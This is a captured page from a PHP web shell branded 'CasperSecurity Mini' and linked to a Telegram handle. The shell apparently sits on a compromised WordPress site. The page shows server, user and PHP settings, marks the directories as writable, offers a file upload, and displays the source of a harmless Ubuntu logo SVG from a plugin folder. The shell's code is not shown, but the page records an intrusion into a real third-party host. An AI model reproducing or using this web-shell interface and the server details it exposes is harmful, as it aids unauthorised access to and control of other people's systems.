T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/gositeme.com/public_html/wp-content/plugins/whmpress/images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/gositeme.com/public_html/wp-content/plugins/whmpress/images/ubuntu2.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 21.0.2, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Ebene_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 141.7 141.7" style="enable-background:new 0 0 141.7 141.7;" xml:space="preserve">
<style type="text/css">
	.st0{fill:#E24301;}
</style>
<g>
	<path class="st0" d="M15.7,57.8c-7.2,0-13.1,5.9-13.1,13.1C2.6,78.1,8.4,84,15.7,84c7.2,0,13.1-5.9,13.1-13.1
		C28.8,63.6,22.9,57.8,15.7,57.8z M109.2,117.3c-6.3,3.6-8.4,11.6-4.8,17.9c3.6,6.3,11.6,8.4,17.9,4.8c6.3-3.6,8.4-11.6,4.8-17.9
		C123.5,115.8,115.5,113.7,109.2,117.3z M44.1,70.9c0-12.9,6.4-24.4,16.3-31.3l-9.6-16c-11.5,7.7-20,19.4-23.5,33.1
		c4.1,3.4,6.8,8.5,6.8,14.3s-2.6,10.9-6.8,14.3c3.5,13.7,12.1,25.4,23.5,33.1l9.6-16C50.6,95.2,44.1,83.8,44.1,70.9z M82.4,32.6
		c20,0,36.4,15.3,38.1,34.9l18.7-0.3c-0.9-14.4-7.2-27.4-16.9-36.9c-5,1.9-10.7,1.6-15.7-1.3s-8.1-7.7-9-13
		c-4.8-1.3-9.9-2.1-15.2-2.1c-9.1,0-17.6,2.1-25.2,5.9l9.1,16.3C71.2,33.9,76.6,32.6,82.4,32.6z M82.4,109.1
		c-5.8,0-11.2-1.3-16.1-3.6l-9.1,16.3c7.6,3.8,16.2,5.9,25.2,5.9c5.3,0,10.4-0.7,15.2-2.1c0.9-5.3,4-10.1,9-13s10.7-3.2,15.7-1.3
		c9.7-9.5,16-22.5,16.9-36.9l-18.7-0.3C118.8,93.8,102.4,109.1,82.4,109.1z M109.2,24.4c6.3,3.6,14.3,1.5,17.9-4.8
		s1.5-14.3-4.8-17.9C116-1.9,108,0.3,104.4,6.6C100.8,12.8,102.9,20.8,109.2,24.4z"/>
</g>
</svg>

CasperSecurity Mini